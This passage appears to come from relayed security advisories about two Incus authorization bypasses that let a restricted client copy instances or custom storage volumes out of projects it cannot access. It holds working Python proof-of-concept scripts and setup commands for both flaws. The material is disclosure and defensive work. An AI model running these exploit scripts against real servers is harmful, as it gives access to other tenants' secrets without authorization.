import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)

    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-instance", required=True)
    ap.add_argument("--name", required=True, help="new instance name in target project")
    ap.add_argument("--instance-only", action="store_true")
    ap.add_argument("--start", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    body = {
        "name": args.name,
        "source": {
            "type": "copy",
            "source": args.source_instance,
            "project": args.source_project,
            "instance_only": args.instance_only,
        },
        "start": args.start,
    }
    path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.target_project})
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())


Impact

An attacker can copy instances they don't normally have access to,
possibly leading to information disclosure.

Severity
High
7.7/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID
CVE-2026-55622

Weaknesses
Weakness CWE-284

Credits

    @antifob antifob Reporter
    @stgraber stgraber Remediation developer
_____________________________________________________________________

Project restriction bypass for custom volume copy across projects
High
stgraber published GHSA-64f3-v33m-w89f

Package
github.com/lxc/incus/v7/cmd/incusd (Go)

Affected versions
< v7.2.0

Patched versions
>= v7.2.0


Description

Summary

Missing authorization checks exist for custom volume copying where an
attacker knowing the name of a project that they don't have access to
and the name of a custom volume in that project can copy the custom
volume to a new project. This issue could allow an attacker to access
secrets in custom volumes they are not authorized to access.
Details

The storage volume creation handler authorizes creation in the target
project, then passes req.Source.Project into the custom-volume copy
path without checking that the caller can view the source volume.
req.Source.Project is the attacker-controlled field. It is resolved to
a storage volume project name and passed directly to
CreateCustomVolumeFromCopy. No allowPermission or entitlement check
(e.g. CanView on the source volume) is performed.

From my understanding, the copy must occur on the same server. However,
once the copy has been done, nothing prevents a malicious actor from
moving the volume to another server.


PoC

Setup

We assume the target server is remotely accessible and a user/certificate
has been added.

# create a new project and instance
incus project create secrets
incus profile show default | incus --project secrets edit default
incus --project secrets storage volume create default secret-vol

# restrict an existing certificate to prevent access to the project
incus config trust edit cert-fp
#> set, for example
restricted: true
projects:
  - default

# verification, with the restricted certificate
incus --project secrets storage volume ls remote:default

Exploitation

The below script was partly generated. To copy the secret instance to the
default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \
    --cert path/to/client.crt --key path/to/client.key \
    --target-project default --source-project secrets \
    --source-volume secret-vol --name copy-secret-vol \
    --pool default --source-pool default \
    --insecure

Wait a bit for the custom volume to be copied, then incus storage volume ls
remote:default to see the copied instance.

#!/usr/bin/env python3
"""Copy a custom storage volume from another project into an allowed project."""

from __future__ import annotations

import argparse
import json
import ssl
import sys
import urllib.error
import urllib.parse
import urllib.request


def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes:
    ctx = ssl.create_default_context()
    if insecure:
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE
    ctx.load_cert_chain(cert, key)
    req = urllib.request.Request(
        url.rstrip("/") + path,
        data=json.dumps(body).encode(),
        method="POST",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    try:
        with urllib.request.urlopen(req, context=ctx) as resp:
            return resp.read()
    except urllib.error.HTTPError as exc:
        sys.stderr.write(exc.read().decode(errors="replace") + "\n")
        raise


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--url", required=True)
    ap.add_argument("--cert", required=True)
    ap.add_argument("--key", required=True)
    ap.add_argument("--pool", required=True)
    ap.add_argument("--target-project", required=True)
    ap.add_argument("--source-project", required=True)
    ap.add_argument("--source-volume", required=True)
    ap.add_argument("--source-pool")
    ap.add_argument("--name", required=True, help="new volume name in target project")
    ap.add_argument("--content-type", default="filesystem", choices=["filesystem", "block"])
    ap.add_argument("--volume-only", action="store_true")
    ap.add_argument("--insecure", action="store_true")
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    source = {
        "type": "copy",
        "name": args.source_volume,
        "project": args.source_project,
        "volume_only": args.volume_only,
    }
    if args.source_pool:
        source["pool"] = args.source_pool

    body = {
        "name": args.name,
        "type": "custom",
        "content_type": args.content_type,
        "source": source,
    }
    path = "/1.0/storage-pools/{}/volumes/custom?{}".format(
        urllib.parse.quote(args.pool, safe=""),
        urllib.parse.urlencode({"project": args.target_project}),
    )
    print(json.dumps(body, indent=2))
    if args.dry_run:
        return 0
    print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace"))
    return 0


if __name__ == "__main__":
    raise SystemExit(main())


Impact

An attacker can copy instances they don't normally have access to,
possibly leading to information disclosure.


Severity
High
7.7/ 10

CVSS v3 base metrics
Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
None
Availability
None
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID
CVE-2026-55621

Weaknesses
Weakness CWE-284

Credits

    @antifob antifob Reporter
    @stgraber stgraber Remediation developer


=========================================================
+ CERT-RENATER        |    tel : 01-53-94-20-44         +
+ 23/25 Rue Daviel    |    fax : 01-53-94-20-41         +
+ 75013 Paris         |   email:cert@support.renater.fr +
=========================================================




